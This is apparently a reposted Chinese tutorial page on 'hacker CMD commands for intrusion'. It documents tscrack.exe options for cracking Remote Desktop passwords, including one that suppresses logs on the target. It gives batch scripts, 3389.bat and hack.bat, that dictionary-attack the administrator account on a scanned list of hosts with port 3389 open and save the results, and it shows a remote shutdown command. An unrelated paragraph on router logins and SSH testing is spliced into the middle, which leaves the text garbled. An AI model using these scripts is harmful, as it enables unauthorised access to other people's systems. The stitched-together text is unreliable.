DOS命令大全（二）——入侵必练的CMD命令 /黑客常用CMD命令(14)

4、终端服务密码破解: tscrack.exe

参数说明

-h 显示使用帮助

-v 显示版本信息

-s 在屏幕上打出解密能力

-b 密码错误时发出的声音

-t 同是发出多个连接（多线程）

-N Prevent System Log entries on targeted server

-U 卸载移除tscrack组件

-f 使用－f后面的密码

-F 间隔时间（频率）

-l 使用－l后面的用户名

-w 使用－w后面的密码字典

-p 使用－p后面的密码

-D 登录主页面

用法示例

3、打开浏览器，输入无线路由器的登陆地址：192.168.2.1，回车，输入无线路由器的用户名和密码（无线路由器的登陆地址、用户名和密码路由器后面会有标签注明），确定。路由器的登陆密码也就是在路由器设置前，打开192.168.1.1之后，提示需要使用管理员登陆的密码，一般很多水星路由器默认账号密码都是admin，这是众所周知的一个密码，由于密码过于简单，大家都知道，因此一旦电脑被黑客入侵或者被远程控制的话，黑客就可以直接打开192.168.1.1，然后使用默认账号和密码登陆路由器，从而可以篡改路由器设置、dns等。设好后，找台pc接根网线到无线路由器的任意一个lan口上，然后打开ie输入上述配置的ip地址即192.168.2.1登陆（一般tp-links出厂默认的登陆ip为192.168.1.1）。我们从windowsxp主机cmd.exe里ping 192.168.159.2，如果redhat启动sshd服务器, 我们可以telnet 192.168.159.2 22，若连接成功则一切安装ok，说明我们从windowsxp主机连接redhat系统没有问题了。

tscrack 192.168.0.1 -l administrator -p 123456用密码123456远程登陆192.168.0.1的administrator用户

@if not exist ipcscan.txt goto noscan

@for /f 'tokens=1 delims= ' %%i in (3389.txt) do call hack.bat%%i

nscan

@echo 3389.txt no find or scan faild

(①存为3389.bat)（假设现有用SuperScan或其它扫锚器扫到一批开有3389的主机IP列表文件3389.txt)

3389.bat意思是：从3389.txt文件中取一个IP，接着运行hack.bat

@if not exist tscrack.exe goto noscan

@tscrack %1 -l administrator -w pass.dic >>rouji.txt

:noscan

@echo tscrack.exe no find or scan faild

(②存为hack.bat)(运行3389.bat就OK，且3389.bat、hack.bat、3389.txt、pass.dic与tscrack.exe在同一个目录下；就可以等待结果了)

hack.bat意思是：运行tscrack.exe用字典暴破3389.txt中所有主机的administrator密码，并将破解结果保存在rouji.txt文件中。

5、其它：

Shutdown.exe

Shutdown IP地址 t:20 20秒后将对方NT自动关闭（Windows2003系统自带工具，在Windows2000下用进就得下载此工具才能用。在前面Windows 2003DOS命令中有详细介绍。）

本文来自电脑杂谈，转载请注明本文网址：
https://www.pc-fly.com/a/jisuanjixue/article-94497-14.html